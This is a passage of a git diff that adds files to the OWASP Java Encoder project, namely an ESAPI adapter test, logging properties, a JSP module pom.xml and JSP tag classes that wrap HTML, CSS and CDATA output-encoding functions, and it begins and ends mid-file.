+STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+OF THE POSSIBILITY OF SUCH DAMAGE.
+
+-->
+<project name="ESAPI">
+ <body>
+ </body>
+</project> \ No newline at end of file
diff --git a/esapi/src/test/java/org/owasp/encoder/esapi/ESAPIEncoderTest.java b/esapi/src/test/java/org/owasp/encoder/esapi/ESAPIEncoderTest.java
new file mode 100644
index 0000000..7443996
--- /dev/null
+++ b/esapi/src/test/java/org/owasp/encoder/esapi/ESAPIEncoderTest.java
@@ -0,0 +1,49 @@
+package org.owasp.encoder.esapi;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import junit.framework.Test;
+import junit.framework.TestCase;
+import junit.framework.TestSuite;
+import org.owasp.esapi.ESAPI;
+import org.owasp.esapi.Encoder;
+
+/**
+ * ESAPIEncoderTest
+ *
+ * @author jeffi
+ */
+public class ESAPIEncoderTest extends TestCase {
+ public static Test suite() {
+ return new TestSuite(ESAPIEncoderTest.class);
+ }
+
+ public void testEncode() throws Exception {
+ // Note: ESAPI reference encodes as: "&#x3c;&#x3e;&#x26;&#x3a9;"
+ // That's 25 characters to OWASP Java Encoder's 14.
+ assertEquals("&lt;&gt;&amp;\u03a9", ESAPI.encoder().encodeForXML("<>&\u03a9"));
+ }
+
+ public void testSerialization() throws Exception {
+ // Note: ESAPI reference implementation is NOT serializable. Maybe
+ // it will be in the future. Our implementation is however
+ // guaranteed serializable.
+
+ Encoder encoder = ESAPI.encoder();
+
+ ByteArrayOutputStream baos = new ByteArrayOutputStream();
+
+ ObjectOutputStream oos = new ObjectOutputStream(baos);
+ oos.writeObject(encoder);
+ oos.close();
+
+ ObjectInputStream ois = new ObjectInputStream(
+ new ByteArrayInputStream(baos.toByteArray()));
+
+ Encoder deserializedEncoder = (Encoder)ois.readObject();
+
+ assertSame(encoder, deserializedEncoder);
+ }
+}
diff --git a/esapi/src/test/resources/.esapi/ESAPI.properties b/esapi/src/test/resources/.esapi/ESAPI.properties
new file mode 100644
index 0000000..d1d5f41
--- /dev/null
+++ b/esapi/src/test/resources/.esapi/ESAPI.properties
@@ -0,0 +1,38 @@
+# Properties based on ESAPI 2.2.1.1's configuration/esapi/ESAPI.properties file.
+
+ESAPI.Encoder=org.owasp.encoder.esapi.ESAPIEncoder
+
+# Log4JFactory Requires log4j.xml or log4j.properties in classpath - http://www.laliluna.de/log4j-tutorial.html
+# Note that this is now considered deprecated!
+#ESAPI.Logger=org.owasp.esapi.logging.log4j.Log4JLogFactory
+
+# To use JUL, you need to obtain ESAPI's esapi-java-logging.properties and drop
+# it somewhere into your class path. You can get it from the ESAPI configuration
+# jar. (See Release 2.2.1.1 under GitHub for ESAPI/esapi-java-legacy.)
+ESAPI.Logger=org.owasp.esapi.logging.java.JavaLogFactory
+
+# To use the new SLF4J logger in ESAPI (see GitHub issue #129), set
+#ESAPI.Logger=org.owasp.esapi.logging.slf4j.Slf4JLogFactory
+# and do whatever other normal SLF4J configuration that you normally would do for your application.
+
+# Note: The uncommented out ones are those needed for SLF4J. Others may be
+# needed if you change the ESAPI logger.
+#===========================================================================
+# ESAPI Logging
+# Set the application name if these logs are combined with other applications
+Logger.ApplicationName=ESAPI-Shim-Test
+# If you use an HTML log viewer that does not properly HTML escape log data, you can set LogEncodingRequired to true
+Logger.LogEncodingRequired=false
+# Determines whether ESAPI should log the application name. This might be clutter in some single-server/single-app environments.
+Logger.LogApplicationName=true
+# Determines whether ESAPI should log the server IP and port. This might be clutter in some single-server environments.
+Logger.LogServerIP=false
+# LogFileName, the name of the logging file. Provide a full directory path (e.g., C:\\ESAPI\\ESAPI_logging_file) if you
+# want to place it in a specific directory.
+#Logger.LogFileName=ESAPI_logging_file
+# MaxLogFileSize, the max size (in bytes) of a single log file before it cuts over to a new one (default is 10,000,000)
+#Logger.MaxLogFileSize=10000000
+# Determines whether ESAPI should log the user info.
+Logger.UserInfo=false
+# Determines whether ESAPI should log the session id and client IP
+Logger.ClientInfo=false
diff --git a/esapi/src/test/resources/esapi-java-logging.properties b/esapi/src/test/resources/esapi-java-logging.properties
new file mode 100644
index 0000000..71011ac
--- /dev/null
+++ b/esapi/src/test/resources/esapi-java-logging.properties
@@ -0,0 +1,6 @@
+handlers= java.util.logging.ConsoleHandler
+.level= INFO
+java.util.logging.ConsoleHandler.level = INFO
+java.util.logging.ConsoleHandler.formatter = java.util.logging.SimpleFormatter
+java.util.logging.SimpleFormatter.format=[%1$tF %1$tT] [%3$-7s] %5$s %n
+#https://www.logicbig.com/tutorials/core-java-tutorial/logging/customizing-default-format.html \ No newline at end of file
diff --git a/jsp/pom.xml b/jsp/pom.xml
new file mode 100644
index 0000000..2b9024c
--- /dev/null
+++ b/jsp/pom.xml
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="US-ASCII"?>
+<!--
+~ Copyright (c) 2015 OWASP.
+~ All rights reserved.
+~
+~ Redistribution and use in source and binary forms, with or without
+~ modification, are permitted provided that the following conditions
+~ are met:
+~
+~ * Redistributions of source code must retain the above
+~ copyright notice, this list of conditions and the following
+~ disclaimer.
+~
+~ * Redistributions in binary form must reproduce the above
+~ copyright notice, this list of conditions and the following
+~ disclaimer in the documentation and/or other materials
+~ provided with the distribution.
+~
+~ * Neither the name of the OWASP nor the names of its
+~ contributors may be used to endorse or promote products
+~ derived from this software without specific prior written
+~ permission.
+~
+~ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+~ "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+~ LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+~ FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+~ COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+~ INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+~ (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+~ SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+~ HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+~ STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+~ ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+~ OF THE POSSIBILITY OF SUCH DAMAGE.
+-->
+
+<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+ xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
+ <modelVersion>4.0.0</modelVersion>
+
+ <parent>
+ <groupId>org.owasp.encoder</groupId>
+ <artifactId>encoder-parent</artifactId>
+ <version>1.2.3</version>
+ </parent>
+
+ <artifactId>encoder-jsp</artifactId>
+ <packaging>jar</packaging>
+
+ <name>JSP Encoder</name>
+ <description>
+ The OWASP Encoder JSP package contains JSP tag definitions and TLDs to allow
+ easy use of the OWASP Encoder Project's core API. The TLDs contain both tag
+ definitions and JSP EL functions.
+ </description>
+
+ <properties>
+ <jigsaw.module.name>org.owasp.encoder.jsp</jigsaw.module.name>
+ </properties>
+
+ <dependencies>
+ <dependency>
+ <groupId>org.owasp.encoder</groupId>
+ <artifactId>encoder</artifactId>
+ <version>${project.parent.version}</version>
+ </dependency>
+ <dependency>
+ <groupId>javax.servlet.jsp</groupId>
+ <artifactId>javax.servlet.jsp-api</artifactId>
+ <version>2.2.1</version>
+ <scope>provided</scope>
+ </dependency>
+ <dependency>
+ <groupId>javax.servlet</groupId>
+ <artifactId>javax.servlet-api</artifactId>
+ <version>3.0.1</version>
+ <scope>test</scope>
+ </dependency>
+ <dependency>
+ <groupId>org.springframework</groupId>
+ <artifactId>spring-test</artifactId>
+ <version>5.1.3.RELEASE</version>
+ <scope>test</scope>
+ </dependency>
+ <dependency>
+ <groupId>org.springframework</groupId>
+ <artifactId>spring-core</artifactId>
+ <version>5.3.19</version>
+ <scope>test</scope>
+ </dependency>
+ </dependencies>
+</project>
diff --git a/jsp/src/main/java/org/owasp/encoder/tag/EncodingTag.java b/jsp/src/main/java/org/owasp/encoder/tag/EncodingTag.java
new file mode 100644
index 0000000..ef9b482
--- /dev/null
+++ b/jsp/src/main/java/org/owasp/encoder/tag/EncodingTag.java
@@ -0,0 +1,57 @@
+// Copyright (c) 2012 Jeff Ichnowski
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions
+// are met:
+//
+// * Redistributions of source code must retain the above
+// copyright notice, this list of conditions and the following
+// disclaimer.
+//
+// * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following
+// disclaimer in the documentation and/or other materials
+// provided with the distribution.
+//
+// * Neither the name of the OWASP nor the names of its
+// contributors may be used to endorse or promote products
+// derived from this software without specific prior written
+// permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+// COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+// INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+// OF THE POSSIBILITY OF SUCH DAMAGE.
+
+package org.owasp.encoder.tag;
+
+import javax.servlet.jsp.tagext.SimpleTagSupport;
+
+/**
+ * The base class for the encoding tags within this package.
+ *
+ * @author Jeremy Long (jeremy.long@gmail.com)
+ */
+public abstract class EncodingTag extends SimpleTagSupport {
+ /**
+ * The value to be written out by the tag.
+ */
+ protected String _value;
+ /**
+ * Sets the value to be written out by the tag.
+ * @param value the value to be written out by the tag.
+ */
+ public void setValue(String value) {
+ this._value = value;
+ }
+
+}
diff --git a/jsp/src/main/java/org/owasp/encoder/tag/ForCDATATag.java b/jsp/src/main/java/org/owasp/encoder/tag/ForCDATATag.java
new file mode 100644
index 0000000..23db285
--- /dev/null
+++ b/jsp/src/main/java/org/owasp/encoder/tag/ForCDATATag.java
@@ -0,0 +1,52 @@
+// Copyright (c) 2012 Jeff Ichnowski
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions
+// are met:
+//
+// * Redistributions of source code must retain the above
+// copyright notice, this list of conditions and the following
+// disclaimer.
+//
+// * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following
+// disclaimer in the documentation and/or other materials
+// provided with the distribution.
+//
+// * Neither the name of the OWASP nor the names of its
+// contributors may be used to endorse or promote products
+// derived from this software without specific prior written
+// permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+// COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+// INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+// OF THE POSSIBILITY OF SUCH DAMAGE.
+
+package org.owasp.encoder.tag;
+
+import java.io.IOException;
+import javax.servlet.jsp.JspException;
+import org.owasp.encoder.Encode;
+
+/**
+ * A tag to perform encoding sufficient to place into a CDATA block.
+ * This wraps the {@link org.owasp.encoder.Encode#forCDATA(java.lang.String)}.
+ *
+ * @author Jeremy Long (jeremy.long@gmail.com)
+ */
+public class ForCDATATag extends EncodingTag {
+ @Override
+ public void doTag() throws JspException, IOException {
+ Encode.forCDATA(getJspContext().getOut(), _value);
+ }
+}
diff --git a/jsp/src/main/java/org/owasp/encoder/tag/ForCssStringTag.java b/jsp/src/main/java/org/owasp/encoder/tag/ForCssStringTag.java
new file mode 100644
index 0000000..e6edb5e
--- /dev/null
+++ b/jsp/src/main/java/org/owasp/encoder/tag/ForCssStringTag.java
@@ -0,0 +1,52 @@
+// Copyright (c) 2012 Jeff Ichnowski
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions
+// are met:
+//
+// * Redistributions of source code must retain the above
+// copyright notice, this list of conditions and the following
+// disclaimer.
+//
+// * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following
+// disclaimer in the documentation and/or other materials
+// provided with the distribution.
+//
+// * Neither the name of the OWASP nor the names of its
+// contributors may be used to endorse or promote products
+// derived from this software without specific prior written
+// permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+// COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+// INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+// OF THE POSSIBILITY OF SUCH DAMAGE.
+
+package org.owasp.encoder.tag;
+
+import java.io.IOException;
+import javax.servlet.jsp.JspException;
+import org.owasp.encoder.Encode;
+
+/**
+ * A tag to perform CSS encoding for CSS strings.
+ * This wraps the {@link org.owasp.encoder.Encode#forCssString(java.lang.String)}.
+ *
+ * @author Jeremy Long (jeremy.long@gmail.com)
+ */
+public class ForCssStringTag extends EncodingTag {
+ @Override
+ public void doTag() throws JspException, IOException {
+ Encode.forCssString(getJspContext().getOut(), _value);
+ }
+}
diff --git a/jsp/src/main/java/org/owasp/encoder/tag/ForCssUrlTag.java b/jsp/src/main/java/org/owasp/encoder/tag/ForCssUrlTag.java
new file mode 100644
index 0000000..673a975
--- /dev/null
+++ b/jsp/src/main/java/org/owasp/encoder/tag/ForCssUrlTag.java
@@ -0,0 +1,52 @@
+// Copyright (c) 2012 Jeff Ichnowski
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions
+// are met:
+//
+// * Redistributions of source code must retain the above
+// copyright notice, this list of conditions and the following
+// disclaimer.
+//
+// * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following
+// disclaimer in the documentation and/or other materials
+// provided with the distribution.
+//
+// * Neither the name of the OWASP nor the names of its
+// contributors may be used to endorse or promote products
+// derived from this software without specific prior written
+// permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+// COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+// INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+// OF THE POSSIBILITY OF SUCH DAMAGE.
+
+package org.owasp.encoder.tag;
+
+import java.io.IOException;
+import javax.servlet.jsp.JspException;
+import org.owasp.encoder.Encode;
+
+/**
+ * A tag to perform CSS encoding for CSS URL contexts.
+ * This wraps the {@link org.owasp.encoder.Encode#forCssUrl(java.lang.String)}.
+ *
+ * @author Jeremy Long (jeremy.long@gmail.com)
+ */
+public class ForCssUrlTag extends EncodingTag {
+ @Override
+ public void doTag() throws JspException, IOException {
+ Encode.forCssUrl(getJspContext().getOut(), _value);
+ }
+}
diff --git a/jsp/src/main/java/org/owasp/encoder/tag/ForHtmlAttributeTag.java b/jsp/src/main/java/org/owasp/encoder/tag/ForHtmlAttributeTag.java
new file mode 100644
index 0000000..866b933
--- /dev/null
+++ b/jsp/src/main/java/org/owasp/encoder/tag/ForHtmlAttributeTag.java
@@ -0,0 +1,52 @@
+// Copyright (c) 2012 Jeff Ichnowski
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions
+// are met:
+//
+// * Redistributions of source code must retain the above
+// copyright notice, this list of conditions and the following
+// disclaimer.
+//
+// * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following
+// disclaimer in the documentation and/or other materials
+// provided with the distribution.
+//
+// * Neither the name of the OWASP nor the names of its
+// contributors may be used to endorse or promote products
+// derived from this software without specific prior written
+// permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+// COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+// INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+// OF THE POSSIBILITY OF SUCH DAMAGE.
+
+package org.owasp.encoder.tag;
+
+import java.io.IOException;
+import javax.servlet.jsp.JspException;
+import org.owasp.encoder.Encode;
+
+/**
+ * A tag to perform HTML encoding for HTML text attributes.
+ * This wraps the {@link org.owasp.encoder.Encode#forHtmlAttribute(java.lang.String)}.
+ *
+ * @author Jeremy Long (jeremy.long@gmail.com)
+ */
+public class ForHtmlAttributeTag extends EncodingTag {
+ @Override
+ public void doTag() throws JspException, IOException {
+ Encode.forHtmlAttribute(getJspContext().getOut(), _value);
+ }
+}
diff --git a/jsp/src/main/java/org/owasp/encoder/tag/ForHtmlContentTag.java b/jsp/src/main/java/org/owasp/encoder/tag/ForHtmlContentTag.java
new file mode 100644
index 0000000..9ebf3c7
--- /dev/null
+++ b/jsp/src/main/java/org/owasp/encoder/tag/ForHtmlContentTag.java
@@ -0,0 +1,52 @@
+// Copyright (c) 2012 Jeff Ichnowski
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions
+// are met:
+//
+// * Redistributions of source code must retain the above
+// copyright notice, this list of conditions and the following
+// disclaimer.
+//
+// * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following
+// disclaimer in the documentation and/or other materials
+// provided with the distribution.
+//
+// * Neither the name of the OWASP nor the names of its
+// contributors may be used to endorse or promote products
+// derived from this software without specific prior written
+// permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+// COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+// INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+// OF THE POSSIBILITY OF SUCH DAMAGE.
+
+package org.owasp.encoder.tag;
+
+import java.io.IOException;
+import javax.servlet.jsp.JspException;
+import org.owasp.encoder.Encode;
+
+/**
+ * A tag to perform HTML encoding for text content.
+ * This wraps the {@link org.owasp.encoder.Encode#forHtmlContent(java.lang.String)}.
+ *
+ * @author Jeremy Long (jeremy.long@gmail.com)
+ */
+public class ForHtmlContentTag extends EncodingTag {
+ @Override
+ public void doTag() throws JspException, IOException {
+ Encode.forHtmlContent(getJspContext().getOut(), _value);
+ }
+}
diff --git a/jsp/src/main/java/org/owasp/encoder/tag/ForHtmlTag.java b/jsp/src/main/java/org/owasp/encoder/tag/ForHtmlTag.java
new file mode 100644
index 0000000..71c7d73
--- /dev/null
+++ b/jsp/src/main/java/org/owasp/encoder/tag/ForHtmlTag.java
@@ -0,0 +1,52 @@
+// Copyright (c) 2012 Jeff Ichnowski
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions
+// are met:
+//
+// * Redistributions of source code must retain the above
+// copyright notice, this list of conditions and the following
+// disclaimer.
+//
+// * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following
+// disclaimer in the documentation and/or other materials
+// provided with the distribution.
+//
+// * Neither the name of the OWASP nor the names of its
+// contributors may be used to endorse or promote products
+// derived from this software without specific prior written
+// permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+// COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+// INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+// OF THE POSSIBILITY OF SUCH DAMAGE.
+
+package org.owasp.encoder.tag;
+
+import java.io.IOException;
+import javax.servlet.jsp.JspException;
+import org.owasp.encoder.Encode;
+
+/**
+ * A tag to perform HTML encoding.
+ * This wraps the {@link org.owasp.encoder.Encode#forHtml(java.lang.String)}.
+ *
+ * @author Jeremy Long (jeremy.long@gmail.com)
+ */
+public class ForHtmlTag extends EncodingTag {
+ @Override
+ public void doTag() throws JspException, IOException {
+ Encode.forHtml(getJspContext().getOut(), _value);
+ }
+}
diff --git a/jsp/src/main/java/org/owasp/encoder/tag/ForHtmlUnquotedAttributeTag.java b/jsp/src/main/java/org/owasp/encoder/tag/ForHtmlUnquotedAttributeTag.java
new file mode 100644
index 0000000..5b895f9
--- /dev/null
+++ b/jsp/src/main/java/org/owasp/encoder/tag/ForHtmlUnquotedAttributeTag.java
@@ -0,0 +1,52 @@
+// Copyright (c) 2012 Jeff Ichnowski
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions
+// are met:
+//
+// * Redistributions of source code must retain the above
+// copyright notice, this list of conditions and the following
+// disclaimer.
+//
+// * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following
+// disclaimer in the documentation and/or other materials
+// provided with the distribution.
+//
+// * Neither the name of the OWASP nor the names of its
+// contributors may be used to endorse or promote products
+// derived from this software without specific prior written
+// permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+// COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+// INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+// OF THE POSSIBILITY OF SUCH DAMAGE.
+
+package org.owasp.encoder.tag;
+
+import java.io.IOException;
+import javax.servlet.jsp.JspException;
+import org.owasp.encoder.Encode;
+
+/**
+ * A tag to perform HTML Attribute encoding for an unquoted attribute.
+ * This wraps the {@link org.owasp.encoder.Encode#forHtmlUnquotedAttribute(java.lang.String)}.
+ *
+ * @author Jeremy Long (jeremy.long@gmail.com)
+ */
+public class ForHtmlUnquotedAttributeTag extends EncodingTag {
+ @Override
+ public void doTag() throws JspException, IOException {
+ Encode.forHtmlUnquotedAttribute(getJspContext().getOut(), _value);
+ }
+}
diff --git a/jsp/src/main/java/org/owasp/encoder/tag/ForJavaScriptAttributeTag.java b/jsp/src/main/java/org/owasp/encoder/tag/ForJavaScriptAttributeTag.java
new file mode 100644
index 0000000..71ff6b6
--- /dev/null
+++ b/jsp/src/main/java/org/owasp/encoder/tag/ForJavaScriptAttributeTag.java
@@ -0,0 +1,52 @@
+// Copyright (c) 2012 Jeff Ichnowski
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions
+// are met:
+//
+// * Redistributions of source code must retain the above
+// copyright notice, this list of conditions and the following
+// disclaimer.
+//
+// * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following
+// disclaimer in the documentation and/or other materials
+// provided with the distribution.
+//
+// * Neither the name of the OWASP nor the names of its
+// contributors may be used to endorse or promote products
+// derived from this software without specific prior written
+// permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+// COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+// INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
